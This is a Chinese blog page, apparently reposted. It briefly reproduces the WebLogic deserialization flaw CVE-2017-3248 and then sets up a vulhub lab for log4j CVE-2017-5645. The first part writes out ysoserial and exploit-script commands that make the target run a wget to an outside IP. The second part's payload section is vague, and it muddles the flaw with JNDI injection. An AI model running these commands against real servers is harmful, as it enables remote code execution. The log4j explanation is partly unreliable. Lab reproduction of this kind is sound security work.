CVE-2017-3248简单复现

我是这样操作的
目标跟windows在一个段,linux是另一个段的,我的虚拟机

windows主机上

`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "wget http://11.205.242.98/32.txt"

linux虚拟机上执行

python exploit-CVE-2017-3248-bobsecq.py -t 目标IP -p 7001 --jip 11.205.242.98 --jport 1099 --cmd "wget http://11.205.242.98/32.txt" --ysopath ysoserial.jar

1431916-20190917151345273-179272486.png

简单证明即可

转载于:https://www.cnblogs.com/mrhonest/p/11533997.html

### 复现log4j CVE-2017-5645漏洞 #### 靶机环境准备 为了复现该漏洞,需先准备好实验环境。这涉及到Docker及其组件的安装以及获取必要的资源文件。 在Linux环境中,通过一系列命令来完成docker及相关工具链的部署: ```bash apt-get update && \ apt-get install -y apt-transport-https ca-certificates && \ apt install docker.io && \ apt-get install python3-pip && \ pip3 install docker-compose && \ docker-compose -v ``` 接着克隆`vulhub`项目仓库到本地用于后续操作: ```bash git clone https://gitee.com/puier/vulhub.git ``` 上述过程确保了拥有一个能够运行容器化应用的基础平台,并获得了包含易受攻击应用程序镜像在内的资料库[^3]。 #### 进入特定漏洞场景路径 切换至已下载下来的`vulhub`项目的指定位置,即针对CVE-2017-5645设置好的测试案例所在之处: ```bash cd /home/hbesljx/vulhub/log4j/CVE-2017-5645 ``` 此步骤定位到了预设好存在安全缺陷的日志服务实例上,以便进一步开展验证工作[^1]。 #### 启动含有漏洞的服务 启动带有Log4j反序列化漏洞的服务端程序,通常借助于`docker-compose up`指令实现自动化部署流程。由于具体细节依赖于实际配置情况,在这里假设一切正常情况下只需简单执行如下命令即可开启目标服务: ```bash docker-compose up ``` 此时应该有一个正在监听网络连接并接受外部输入作为日志记录处理的对象等待着被利用[^2]。 #### 构造恶意负载触发漏洞 对于想要成功重现这一问题的研究人员来说,构建合适的载荷至关重要。考虑到CVE-2017-5645的特点——允许未经身份验证的数据包内嵌Java对象流的形式传送到服务器端解析,则可尝试发送特制的消息给定地址上的开放接口以期达到预期效果。然而具体的实施方法会依据个人研究方向有所不同,建议查阅更多关于JNDI注入技巧方面的参考资料深入理解整个攻击面。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值